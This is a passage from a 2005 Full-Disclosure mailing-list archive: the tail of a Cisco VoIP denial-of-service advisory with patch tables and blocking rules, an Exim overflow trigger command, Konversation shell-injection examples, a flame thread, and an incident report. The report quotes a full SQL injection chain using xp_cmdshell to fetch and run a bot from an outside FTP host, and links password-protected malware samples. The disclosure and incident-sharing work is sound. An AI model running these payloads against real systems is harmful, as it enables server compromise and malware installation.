A device that has SRST enabled will show something similar to:

    Router#show call-manager-fallback 
    CONFIG
    ======
    ip source-address 192.168.1.1 port 2000
    max-ephones 2
    max-dn 4
    huntstop
    time-format 12
    date-format mm-dd-yy
    keepalive 30
    interdigit timeout 10
    busy timeout 10
    Limit number of DNs per phone:
      7910: 34
      7935: 34
      7940: 34
      7960: 34 
    

Spoofed attacks are impractical since the attacker must pass all of the
TCP/IP integrity checks first, including the initial sequence number
and source TCP port number.

Impact
======

Successful exploitation of the vulnerability may result in a device
reload. Repeated exploitation could result in a Denial of Service (DoS)
attack.

Software Versions and Fixes
===========================

Each row of the Cisco IOS software table (below) describes a release
train and the platforms or products for which it is intended. If a
given release train is vulnerable, then the earliest possible releases
that contain the fix (the "First Fixed Release") and the anticipated
date of availability for each are listed in the "Rebuild" and
"Maintenance" columns. A device running a release in the given train
that is earlier than the release in a specific column (less than the
First Fixed Release) is known to be vulnerable. The release should be
upgraded at least to the indicated release or a later version (greater
than or equal to the First Fixed Release label).

For further information on the terms "Rebuild" and "Maintenance" please
consult the following URL:

http://www.cisco.com/warp/public/620/1.html

When considering software upgrades, please also consult
http://www.cisco.com/en/US/products/products_security_advisories_listing.html
and any subsequent advisories to determine exposure and a complete
upgrade solution.

In all cases, customers should exercise caution to be certain the
devices to be upgraded contain sufficient memory and that current
hardware and software configurations will continue to be supported
properly by the new release. If the information is not clear, contact
the Cisco Technical Assistance Center ("TAC") for asssistance.

+------------------------------------------+
|   Major    |  Availability of Repaired   |
|  Release   |          Releases           |
|------------+-----------------------------|
| Affected   |            |                |
| 12.1-Based | Rebuild    | Maintenance    |
| Release    |            |                |
|------------+-----------------------------|
| 12.1YD     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.1YE     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.1YI     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| Affected   |            |                |
| 12.2-Based | Rebuild    | Maintenance    |
| Release    |            |                |
|------------+-----------------------------|
| 12.2B      | Migrate to 12.3(8)T or      |
|            | later                       |
|------------+-----------------------------|
| 12.2BC     | Migrate to 12.3(9)BC or     |
|            | later                       |
|------------+-----------------------------|
| 12.2CZ     | Migrate to 12.2(15)CZ1      |
|            | or later                    |
|------------+-----------------------------|
| 12.2JK     | 12.2(15)JK2                 |
|------------+-----------------------------|
|            | 12.2(13)   |                |
|            | T14        |                |
|12.2T       |------------+----------------|
|            | 12.2(15)   |                |
|            | T13        |                |
|------------+-----------------------------|
| 12.2XB     | Migrate to 12.3(9) or       |
|            | later                       |
|------------+-----------------------------|
| 12.2XG     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.2XM     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.2XT     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.2XU     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.2XW     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.2XZ     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.2YA     | 12.2(4)YA8 |                |
|------------+-----------------------------|
| 12.2YB     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.2YC     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.2YD     | Migrate to 12.3(8)T or      |
|            | later                       |
|------------+-----------------------------|
| 12.2YF     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.2YG     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.2YH     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.2YJ     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.2YL     | Migrate to 12.3(8)T or      |
|            | later                       |
|------------+-----------------------------|
| 12.2YM     | Migrate to 12.3(8)T or      |
|            | later                       |
|------------+-----------------------------|
| 12.2YN     | Migrate to 12.3(8)T or      |
|            | later                       |
|------------+-----------------------------|
| 12.2YQ     | Migrate to 12.3(8)T or      |
|            | later                       |
|------------+-----------------------------|
| 12.2YR     | Migrate to 12.3(8)T or      |
|            | later                       |
|------------+-----------------------------|
| 12.2YS     | Migrate to 12.3(8)T or      |
|            | later                       |
|------------+-----------------------------|
| 12.2ZK     | Migrate to 12.3(8)T or      |
|            | later                       |
|------------+-----------------------------|
| 12.2ZO     | Migrate to 12.2(15)T13      |
|            | or later                    |
|------------+-----------------------------|
| 12.2ZP     | Migrate to 12.3(4)XN2 or    |
|            | later                       |
|------------+-----------------------------|
| Affected   |            |                |
| 12.3-Based | Rebuild    | Maintenance    |
| Release    |            |                |
|------------+------------+----------------|
|            | 12.3(5d)   |                |
|            |------------+----------------|
| 12.3       | 12.3(6c)   |                |
|            |------------+----------------|
|            |            | 12.3(9)        |
|------------+------------+----------------|
|            | 12.3(2)T7  |                |
|            |------------+----------------|
|            | 12.3(4)T6  |                |
|12.3T       |------------+----------------|
|            | 12.3(7)T1  |                |
|            |------------+----------------|
|            |            | 12.3(8)T       |
|------------+-----------------------------|
| 12.3XA     | Migrate to 12.3(8)T or      |
|            | later                       |
|------------+-----------------------------|
| 12.3XB     | Migrate to 12.3(8)T or      |
|            | later                       |
|------------+-----------------------------|
| 12.3XC     | Migrate to 12.3(8)T or      |
|            | later                       |
|------------+-----------------------------|
| 12.3XD     | 12.3(4)XD3 |                |
|------------+------------+----------------|
| 12.3XE     | 12.3(2)XE1 |                |
|------------+-----------------------------|
| 12.3XF     | Migrate to 12.3(11)T or     |
|            | later                       |
|------------+-----------------------------|
| 12.3XG     | 12.3(4)XG2 |                |
|------------+-----------------------------|
| 12.3XH     | Migrate to 12.3(11)T or     |
|            | later                       |
|------------+-----------------------------|
| 12.3XI     |            | 12.3(7)XI      |
|------------+------------+----------------|
| 12.3XJ     | 12.3(7)XJ2 |                |
|------------+------------+----------------|
| 12.3XK     | 12.3(4)XK1 |                |
|------------+------------+----------------|
| 12.3XL     |            | 12.3(7)XL      |
|------------+-----------------------------|
| 12.3XN     | Contact Cisco TAC           |
|------------+-----------------------------|
|            | 12.3(4)XQ1 |                |
|            | Release    |                |
| 12.3XQ     | date not   |                |
|            | yet        |                |
|            | determined |                |
+------------------------------------------+

Obtaining Fixed Software
========================

Customers with Service Contracts
+-------------------------------

Customers with contracts should obtain upgraded software through their
regular update channels. For most customers, this means that upgrades
should be obtained through the Software Center on Cisco's worldwide
website at http://www.cisco.com.

Customers using Third-party Support Organizations
+------------------------------------------------

Customers whose Cisco products are provided or maintained through prior
or existing agreement with third-party support organizations such as
Cisco Partners, authorized resellers, or service providers should
contact that support organization for assistance with the upgrade,
which should be free of charge.

Customers without Service Contracts
+----------------------------------

Customers who purchase direct from Cisco but who do not hold a Cisco
service contract and customers who purchase through third-party vendors
but are unsuccessful at obtaining fixed software through their point of
sale should get their upgrades by contacting the TAC. TAC contacts are
as follows.

  * +1 800 553 2447 (toll free from within North America)
  * +1 408 526 7209 (toll call from anywhere in the world)
  * e-mail: tac at cisco.com

Please have your product serial number available and give the URL of
this notice as evidence of your entitlement to a free upgrade. Free
upgrades for non-contract customers must be requested through the TAC.

Please do not contact either "psirt at cisco.com" or
"security-alert at cisco.com" for software upgrades.

See http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml for
additional TAC contact information, including special localized
telephone numbers and instructions and e-mail addresses for use in
various languages.

Customers may only install and expect support for the feature sets
they have purchased. By installing, downloading, accessing or
otherwise using such software upgrades, customers agree to be bound by
the terms of Cisco's software license terms found at
http://www.cisco.com/public/sw-license-agreement.html, or as otherwise
set forth at Cisco.com Downloads at
http://www.cisco.com/public/sw-center/sw-usingswc.shtml.

Workarounds
===========

The effectiveness of any workaround is dependent on specific customer
situations such as product mix, network topology, traffic behavior, and
organizational mission. Due to the variety of affected products and
releases, customers should consult with their service provider or
support organization to ensure any applied workaround is the most
appropriate for use in the intended network before it is deployed.

Affected devices that must run ITS, CME or SRST are vulnerable, and
there are not any specific configurations that can be used to protect
them. Applying access lists on interfaces that should not accept ITS,
CME or SRST traffic and putting firewalls in strategic locations may
greatly reduce exposure until an upgrade can be performed.

The IP Telephony Security in Depth SAFE paper at the URL below
discusses a variety of best practices that should keep your voice
network isolated from the Internet. These best practices may help to
reduce the risk of exposure, although attacks from within the local
network should always be considered a potential risk.

http://www.cisco.com/en/US/netsol/ns340/ns394/ns171/ns128/networking_solutions_white_paper09186a00801b7a50.shtml

Using 'strict-match'
+-------------------

It is possible to restrict SCCP communications to the IP specified in
the ip source-address configuration command by using the strict-match 
option. More information on this command can be found at the following
URL:

http://www.cisco.com/en/US/netsol/ns340/ns394/ns165/ns391/networking_solutions_design_guidance09186a00801f8e30.html#wp40333

Using Access Lists
+-----------------

Where possible, it is recommended to block SCCP traffic at the network
edge with an Infrastructure Access Control List (iACL) or a Transit
Access Control List (tACL).

For more information on iACLs, refer to "Protecting Your Core:
Infrastructure Protecton Access Control Lists":

http://www.cisco.com/warp/public/707/iacl.html

For more information on tACLs, refer to 'Transit Access Control Lists:
Filtering at Your Edge":

http://www.cisco.com/warp/public/707/tacl.html

Below is an example of an access list to block SCCP traffic from
anywhere but a permitted network.

Note: In SRST deployments the SCCP packets are not addressed directly
to the SRST device. The SCCP packets will be addressed to the call
control devices (typically Cisco CallManager).

In this example, the permitted telephony devices are on the
172.16.0.0/16 network and the SCCP port being used is the default, TCP
port 2000.  If the specific IP addresses of the telephony devices are
known, then the access list can be made to restrict traffic from only
those devices.

    
    !--- Permit access from any IP address in the 172.16.0.0/16 
    !--- to TCP port 2000.
    
    
    access-list 101 permit tcp 172.16.0.0 0.0.255.255 any eq 2000
    
    
    !--- Deny all traffic to port 2000.
    
    
    access-list 101 deny tcp any any eq 2000
    
    
    !--- Permit all other traffic.
    
    
    access-list 101 permit ip any any
    

Using Control Plane Policing
+---------------------------

The Control Plane Policing (CoPP) feature may be used to mitigate this
vulnerability. In the following example SCCP traffic is permitted to
and from the 192.168.10.0/24 subnet. All other TCP port 2000 traffic
destined to the device is blocked.

    access-list 140 deny   tcp 192.168.10.0 0.0.0.255 any eq 2000
    access-list 140 deny   tcp any 192.168.10.0 0.0.0.255 eq 2000
    access-list 140 permit tcp any any eq 2000
    access-list 140 deny   ip  any any
    
    class-map match-all sccp-class
      match access-group 140
    
    policy-map control-plane-policy
      class sccp-class
    
         police 8000 1500 1500 conform-action drop exceed-action drop
    
    control-plane
     service-policy input control-plane-policy
    

CoPP is available in IOS release trains 12.2S and 12.3T. Additional
information on the configuration and use of the CoPP feature can be
found at the following URL:

http://www.cisco.com/en/US/products/sw/iosswrel/ps1838/products_feature_guide09186a00801afad4.html

Exploitation and Public Announcements
=====================================

The vulnerability described by CSCee08584 was originally reported to
Cisco by SecureTest. The Cisco PSIRT is not aware of any public
announcements or malicious use of the vulnerability described in this
advisory.

Status of This Notice: FINAL
============================

THIS ADVISORY IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY
KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTY OF
MERCHANTABILITY. YOUR USE OF THE INFORMATION ON THE ADVISORY OR
MATERIALS LINKED FROM THE ADVISORY IS AT YOUR OWN RISK. CISCO RESERVES
THE RIGHT TO CHANGE OR UPDATE THIS NOTICE AT ANY TIME.

A stand-alone copy or paraphrase of the text of this security advisory
that omits the distribution URL in the following section is an
uncontrolled copy, and may lack important information or contain
factual errors.

Distribution
============

This advisory will be posted on Cisco's worldwide website at
http://www.cisco.com/warp/public/707/cisco-sa-20050119-itscme.shtml.

In addition to worldwide web posting, a text version of this notice is
clear-signed with the Cisco PSIRT PGP key and is posted to the
following e-mail and Usenet news recipients.

  * cust-security-announce at cisco.com
  * first-teams at first.org (includes CERT/CC)
  * bugtraq at securityfocus.com
  * vulnwatch at vulnwatch.org
  * cisco at spot.colorado.edu
  * cisco-voice at puck.nether.net
  * full-disclosure at lists.netsys.com
  * comp.dcom.sys.cisco at newsgate.cisco.com

Future updates of this advisory, if any, will be placed on Cisco's
worldwide website, but may or may not be actively announced on mailing
lists or newsgroups. Users concerned about this problem are encouraged
to check the above URL for any updates.

Revision History
================

+----------------------------------------+
| Revision  |             | Initial      |
| 1.0       | 2005-Jan-19 | Public       |
|           |             | Release      |
+----------------------------------------+

Cisco Security Procedures
=========================

Complete information on reporting security vulnerabilities in Cisco
products, obtaining assistance with security incidents, and
registering to receive security information from Cisco, is available
on Cisco's worldwide website at
http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html. This
includes instructions for press inquiries regarding Cisco security
notices. All Cisco security advisories are available at
http://www.cisco.com/go/psirt.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (SunOS)

iD8DBQFB7n24ezGozzK2tZARAumZAJ44GLqcYOm4jvjcy8HrsF3m4Z0hIQCcCwA9
90XZfoGYoUiSUH7BQzEdtRs=
=zTtV
-----END PGP SIGNATURE-----


From customerservice at idefense.com  Wed Jan 19 16:12:00 2005
From: customerservice at idefense.com (customer service mailbox)
Date: Wed, 19 Jan 2005 11:12:00 -0500
Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.14.05: Exim
	dns_buld_reverse() Buffer Overflow Vulnerability
Message-ID: <FB24803D1DF2A34FA59FC157B77C970503C8B2D7@idserv04.idef.com>

There has been some confusion over the CVE numbers issued for three
recently released Exim security vulnerabilities. In discussions with
both Mitre and the Exim maintainers, a decision has been made to issue
the following CVE numbers for these vulnerabilities:

Exim dns_buld_reverse() Buffer Overflow Vulnerability
http://www.idefense.com/application/poi/display?id=183&type=vulnerabilit
ies
CAN-2005-0021

Exim host_aton() Buffer Overflow Vulnerability
http://www.idefense.com/application/poi/display?id=179&type=vulnerabilit
ies
CAN-2005-0021

Exim auth_spa_server() Buffer Overflow Vulnerability
http://www.idefense.com/application/poi/display?id=178&type=vulnerabilit
ies
CAN-2005-0022

The determination was made by Mitre to combine the dns_buld_reverse()
and host_aton() into a single CVE number due the fact that they are both
buffer overflows addressed by the same patch.

>> /usr/bin/exim -bh ::%A`perl -e 'print pack('L',0xdeadbeef') x 256'`

>That one is syntactically invalid, and neither of the obvious fixes
>does result in a crash on Debian sid. exim 4.34-9, dated 2004-12-08,
>correctly complains that it is unable to parse the parameter as an
>IPv6 address and exits with an exit code of 1. The same happens with a
>locally built 4.41 without Debian patches.

Marc - I appreciate your bringing this to our attention. You are correct
that the code was syntactically invalid. We have updated the advisory
with the following code:

   /path/to/exim-binary -bh ::%A:::::::::::::::::`perl -e 'print
pack("L",0xdeadbeef) x 256'`

Lastly, the wording of the Vendor Response section has been updated to
clarify the correct vendor fix for this issue.

   "The vulnerability has been fixed in Exim release 4.44."

The public advisories on the iDEFENSE web site have been updated to
reflect these changes.

My apologies for the confusion.

Regards,

Michael Sutton
Director, iDEFENSE Labs



From wouter at coekaerts.be  Wed Jan 19 16:39:46 2005
From: wouter at coekaerts.be (Wouter Coekaerts)
Date: Wed, 19 Jan 2005 17:39:46 +0100
Subject: [Full-Disclosure] Multiple vulnerabilities in Konversation
Message-ID: <200501191739.56585.wouter@coekaerts.be>

On 18 and 19 Jan 2005 I (Wouter Coekaerts) discovered 3 security
vulnerabilities in Konversation ("A user-friendly IRC-client for KDE", 
http://konversation.berlios.de/).

Affected are version 0.15, CVS until 18-19/01/2005, and some older versions
too. They are fixed in 0.15.1.

Problem 1. Quick Buttons
========================
The Server::parseWildcards function is buggy: to expand % variables, it does
a series of QString.replace's, so the value for one variable can contain
another variable, which will then be expanded too. This function is used for
the "Quick Buttons" under the nicklist (which is disabled by default)

The only way I found to exploit this from another client, would be to let a
user join a channel with such vars in its name, and then let the user press
the Part Button. But since channel names cannot have spaces, only very 
simple things can be done.
For example: in #%n/quit%n, he will disconnect.
An 'evil' server might be able to do this for other Quick Buttons too.

Problem 2. Included Perl scripts vulnerable to shell command injection
======================================================================
Perl scripts included with Konversation execute a command line similar to:
exec ("dcop $PORT Konversation say $SERVER \"$TARGET\" output");
shell characters in $SERVER or $TARGET aren't escaped.

Joining #`kwrite` and executing a script (for example typing /uptime) will
start kwrite. A song with a strange name may also cause command execution
with the media script.

Problem 3. Nick and password confused in quick connect dialog
=============================================================
I'll leave the question of wether or not this actually is a security bug 
open, but at least I can imagine someone could see it as one.
Nick and password are confused in the quick connection dialog, so connecting
with that dialog and filling in a password, would use that password as nick.
If connecting works, you'll show everyone your password that was probably
a password for something else (since you could connecting with your nick as
password instead). If connecting fails because the server did require a
password, it may show an oper watching server notices your password and/or
put it in a logfile.

Solution
========
These problems are fixed in version 0.15.1, which was released 19/01/05
Individual patches can be downloaded at:
http://wouter.coekaerts.be/konversation.html :
http://wouter.coekaerts.be/files/konversation-parse.diff
http://wouter.coekaerts.be/files/konversation-quickconnect.diff
http://wouter.coekaerts.be/files/konversation-scripts.diff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050119/a2a76962/attachment.bin 

From danjr at voyager.net  Wed Jan 19 18:42:30 2005
From: danjr at voyager.net (danjr)
Date: Wed, 19 Jan 2005 13:42:30 -0500
Subject: [Full-Disclosure] Google.com down?
Message-ID: <200501191842.j0JIgVAi070892@mail2.mx.voyager.net>


Thanks for that.  

> 
> On Sat, 15 Jan 2005, danjr wrote:
> 
> > > I just tried to do a google search,
> > > and the connection timed out.
> > > Coincidentally, I had to dial back
> > > into the Internet.  After dialing
> > > back in, I figured I'd alert
> > > everybody that Google might be down!
> >
> > As previously suggested with a similar email, just because a site is
> > down locally does not mean it is down globally.  In other words, 
just
> > because you are not able to access a web site, this does not mean 
that
> > others cannot access it.  Google is up and running fine.  Also, you
> > apparently were having internet connection issues to begin with.
> >
> > Dan
> 
> 
> Dear Dan Junior,
> 
> 	Thank you for this amazingly helpful and informative morsel of
> knowledge!  I am forever in your debt.  Until you explained this, I
> thought to myself "Woah!  Google is *DOWN*!  And someone Full-
Disclosed it
> before I did! Damn!!!".  But now I know that he didn't disclose 
anything
> *real*, because local != global.  Cool!
> 
> 	Since you are obviously one really kewl d00d, could you explain
> one other thing to me too?  I mean, I don't wanna intrude on your l337
> skillz or anything, but could I get just one leeettlleee question from
> your huge repository of kewl data?
> 
> 	What is a "troll"?
> 
> Thanks d00d!
> 
> -- 
> Yours,
> 
> J.A. Terranson
> sysadmin at mfn.org
> 0xBD4A95BF
> 
>  Civilization is in a tailspin - everything is backwards, everything 
is
> upside down- doctors destroy health, psychiatrists destroy minds, 
lawyers
> destroy justice, the major media destroy information, governments 
destroy
> freedom and religions destroy spirituality - yet it is claimed to be
> healthy, just, informed, free and spiritual. We live in a social 
system
> whose community, wealth, love and life is derived from alienation,
> poverty, self-hate and medical murder - yet we tell ourselves that it 
is
> biologically and ecologically sustainable.
> 
> The Bush plan to screen whole US population for mental illness clearly
> indicates that mental illness starts at the top.
> 
> Rev Dr Michael Ellner
> 
> 
> 
> _____________________________________________________
> This message scanned for viruses by CoreComm
> 





From measl at mfn.org  Wed Jan 19 18:44:46 2005
From: measl at mfn.org (J.A. Terranson)
Date: Wed, 19 Jan 2005 12:44:46 -0600 (CST)
Subject: [Full-Disclosure] Google.com down?
In-Reply-To: <200501191842.j0JIgVAi070892@mail2.mx.voyager.net>
References: <200501191842.j0JIgVAi070892@mail2.mx.voyager.net>
Message-ID: <20050119124407.T3683@ubzr.zsa.bet>



On Wed, 19 Jan 2005, danjr wrote:

> Thanks for that.

My pleasure.  Really. :-)


The moral of the story is "Lighten Up" :-))

All the best there Junior!

//Alif


>
> >
> > On Sat, 15 Jan 2005, danjr wrote:
> >
> > > > I just tried to do a google search,
> > > > and the connection timed out.
> > > > Coincidentally, I had to dial back
> > > > into the Internet.  After dialing
> > > > back in, I figured I'd alert
> > > > everybody that Google might be down!
> > >
> > > As previously suggested with a similar email, just because a site is
> > > down locally does not mean it is down globally.  In other words,
> just
> > > because you are not able to access a web site, this does not mean
> that
> > > others cannot access it.  Google is up and running fine.  Also, you
> > > apparently were having internet connection issues to begin with.
> > >
> > > Dan
> >
> >
> > Dear Dan Junior,
> >
> > 	Thank you for this amazingly helpful and informative morsel of
> > knowledge!  I am forever in your debt.  Until you explained this, I
> > thought to myself "Woah!  Google is *DOWN*!  And someone Full-
> Disclosed it
> > before I did! Damn!!!".  But now I know that he didn't disclose
> anything
> > *real*, because local != global.  Cool!
> >
> > 	Since you are obviously one really kewl d00d, could you explain
> > one other thing to me too?  I mean, I don't wanna intrude on your l337
> > skillz or anything, but could I get just one leeettlleee question from
> > your huge repository of kewl data?
> >
> > 	What is a "troll"?
> >
> > Thanks d00d!
> >
> > --
> > Yours,
> >
> > J.A. Terranson
> > sysadmin at mfn.org
> > 0xBD4A95BF
> >
> >  Civilization is in a tailspin - everything is backwards, everything
> is
> > upside down- doctors destroy health, psychiatrists destroy minds,
> lawyers
> > destroy justice, the major media destroy information, governments
> destroy
> > freedom and religions destroy spirituality - yet it is claimed to be
> > healthy, just, informed, free and spiritual. We live in a social
> system
> > whose community, wealth, love and life is derived from alienation,
> > poverty, self-hate and medical murder - yet we tell ourselves that it
> is
> > biologically and ecologically sustainable.
> >
> > The Bush plan to screen whole US population for mental illness clearly
> > indicates that mental illness starts at the top.
> >
> > Rev Dr Michael Ellner
> >
> >
> >
> > _____________________________________________________
> > This message scanned for viruses by CoreComm
> >
>
>
>
>

-- 
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner


From mducharme at cybergeneration.com  Wed Jan 19 19:12:39 2005
From: mducharme at cybergeneration.com (Maxime Ducharme)
Date: Wed, 19 Jan 2005 14:12:39 -0500
Subject: [Full-Disclosure] Re: [Dshield] SQL injection worm ?
References: <022d01c4f34b$311d3130$b000a8c0@cybergeneration.com>
Message-ID: <063e01c4fe5a$d7b91800$b000a8c0@cybergeneration.com>


Hi to the List

today we received the same SQL injection attack
on the same URL :

IP : 24.1.139.29
(c-24-1-139-29.client.comcast.net)
User Agent : none sent
HTTP Verb : GET /theasppage.asp?anID=
Attack :
377';exec MASTER..xp_cmdshell 'mkdir %systemroot%\system32\Macromed\lolx\';
exec MASTER..xp_cmdshell 'echo open z.z.z.z 21 >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo USER chadicka r0ckpaul >>
%systemroot%\system32\macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo binary >>
%systemroot%\system32\macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo get lol.exe
%systemroot%\system32\Macromed\lolx\arcdlrde.exe >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo quit >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell
'ftp.exe -i -n -v -s:%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'del %systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell
'%systemroot%\system32\Macromed\lolx\arcdlrde.exe'--

The lol.exe file can be found in this archive for inspection :
http://www.cybergeneration.com/security/2005.01.19/lol.zip
zip pass is das978tewa234

Norton with definitions of 12 jan. doesnt find anything
suspicious.

I'm interested if someone do an analysis on this file.

Have a nice day

Maxime Ducharme
Programmeur / Sp?cialiste en s?curit? r?seau


----- Original Message ----- 
From: "Maxime Ducharme" <mducharme at cybergeneration.com>
To: <full-disclosure at lists.netsys.com>; "General DShield Discussion List"
<list at lists.dshield.org>; <incidents at securityfocus.com>
Sent: Wednesday, January 05, 2005 12:22 PM
Subject: [Dshield] SQL injection worm ?


>
> Hi list,
>     we receveid a particular SQL injection attack
> on one of our site.
>
> Attack looks like :
> 2005-01-05 14:39:20 24.164.202.24 - W3SVCX SRVNAME x.x.x.x 80 GET
> /Nouvelles.asp
>
id_nouvelle=377';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68
>
%65%6C%6C%20'mkdir%20%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5C';%65%7
>
8%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20op
> en%20y.y.y.y%2021%20%3E%3E%20%25systemroot%25%5Csystem32%5CMacromed%
>
5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%
>
68%65%6C%6C%20'echo%20USER%20hahajk%20hahaowned%20%3E%3E%20%25systemroot%25%
>
5Csystem32%5Cmacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..
>
%78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20get%20rBot.exe%20%25systemroot%2
>
5%5Csystem32%5CMacromed%5Clolx%5Carcdlrde.exe%20%3E%3E%20%25systemroot%25%5C
>
system32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%7
>
8%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20quit%20%3E%3E%20%25systemroot%25%5
>
Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%
>
78%70%5F%63%6D%64%73%68%65%6C%6C%20'ftp.exe%20-i%20-n%20-v%20-s:%25systemroo
>
t%25%5Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45
>
%52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'del%20%25systemroot%25%5Csystem32%
>
5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%6
>
3%6D%64%73%68%65%6C%6C%20'%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5Car
>
cdlrde.exe'--|17|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Lin
> e_1:_Incorrect_syntax_near_''. 500 0 0 1395 570 HTTP/1.1
> attacked.web.site.com - - -
>
> HTTP request contains only 2 fields (beside HTTP method) :
> Connection: Keep-Alive
> Host: attacked.web.site.com
>
> (I obviously replaced the name of the site).
>
> Decoded SQL injection looks like :
> exec MASTER..xp_cmdshell 'mkdir %systemroot%\system32\Macromed\lolx\';
> exec MASTER..xp_cmdshell 'echo open y.y.y.y 21 >>
> %systemroot%\system32\Macromed\lolx\blah.jkd';
> exec MASTER..xp_cmdshell 'echo USER hahajk hahaowned >>
> %systemroot%\system32\macromed\lolx\blah.jkd';
> exec MASTER..xp_cmdshell 'echo get rBot.exe
> %systemroot%\system32\Macromed\lolx\arcdlrde.exe >>
> %systemroot%\system32\Macromed\lolx\blah.jkd';
> exec MASTER..xp_cmdshell 'echo quit >>
> %systemroot%\system32\Macromed\lolx\blah.jkd';
> exec MASTER..xp_cmdshell
> 'ftp.exe -i -n -v -s:%systemroot%\system32\Macromed\lolx\blah.jkd';
> exec MASTER..xp_cmdshell 'del
%systemroot%\system32\Macromed\lolx\blah.jkd';
> exec MASTER..xp_cmdshell '%systemroot%\system32\Macromed\lolx\arcdlrde.exe
>
> y.y.y.y is a foreign IP in Europe which host FTP an WWW server.
> I sent a notice this this site sysadmin about the situation.
>
> I have been able to connect to this FTP with the account hahajk/hahaowned
> (which do not seem legit to me ...) and download suspicious files.
> I mirrored them here :
> http://www.cybergeneration.com/security/2005.01.05/rbot.exe_ftp.zip
> zip pass is 968goyw439807r3qw
>
> 24.164.202.24 is on rr.com networks, they have also been advised.
>
> I know rbot.exe is known to be Randex worm, but i'd like that have
> some other results / analysis.
>
> I also found a "test.asp" file which contains the Spybot worm.
>
> Weird thing is, I searched for this hosts's activity on every server
> and every firewall we run, and I only see 1 TCP connection which
> is the prepared SQL injections attack, nothing else.
>
> Anybody see similar activity ?
>
> I'm asking since I want to know if we are targeted by someone of
> by a worm like Santy of use search engines to find vulnerable
> ASP scripts.
>
> Thanks in advance
>
> Happy new year to everyone !
>
> Maxime Ducharme
> Programmeur / Sp?cialiste en s?curit? r?seau
>
>
>
> -------------- Sponsor Message ------------------------------------
> SANS Intrusion Immersion Training: Orlando, FL, February 3-9th
> http://www.sans.org/orlando05
>
> _______________________________________________
> send all posts to list at lists.dshield.org
> To change your subscription options (or unsubscribe), see:
http://www.dshield.org/mailman/listinfo/list
>



From johnccosta at yahoo.ca  Wed Jan 19 19:43:49 2005
From: johnccosta at yahoo.ca (John Costa)
Date: Wed, 19 Jan 2005 14:43:49 -0500 (EST)
Subject: [Full-Disclosure] BlackBerry PIN's are Not Confidential
Message-ID: <20050119194349.69280.qmail@web41129.mail.yahoo.com>

Is anyone aware of tools/techniques capable of
sniffing/intercepting Blackberry PIN to PIN messages?

Your input will be very much appreciated

Thank you



=====

J. C. Costa


______________________________________________________________________ 
Post your free ad now! http://personals.yahoo.ca


From kin186 at hackermail.com  Wed Jan 19 21:05:25 2005
From: kin186 at hackermail.com (White Self-Existing World-Bridger)
Date: Thu, 20 Jan 2005 05:05:25 +0800
Subject: [Full-Disclosure] Illegal mind control is coming to the
	USA,black helicopters
